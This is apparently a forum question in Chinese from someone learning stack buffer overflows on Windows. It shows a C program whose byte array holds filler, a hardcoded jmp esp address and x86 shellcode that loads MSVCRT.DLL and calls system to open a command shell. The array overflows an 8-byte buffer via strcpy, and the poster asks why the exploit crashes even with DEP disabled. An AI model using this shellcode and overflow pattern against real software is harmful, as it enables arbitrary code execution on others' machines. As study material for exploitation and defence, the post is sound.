缓冲区溢出问题
#include"stdio.h"
#include"string.h"
char name[] =
{
"aaaabbbbcccceeee"
"\x12\x45\xfa\x7f"
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x7C\x80\x1D\x7B"
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc3\xaf\x01\x78"
"\xFF\xD0"
};
int main()
{
int i=0;
char copyname[8];
strcpy(copyname,name);
for(i=0;i<8;i++)
printf("\\x%x\n",copyname[i]);
return 0;
}
这是打开cmd的源码,为什我总是溢出失败,在vc下调试,显示非法访问,一开始,就连jmp esp就提示非法访问,我关闭了DEP以后可以执行堆栈中的代码了,可是到这又有问题,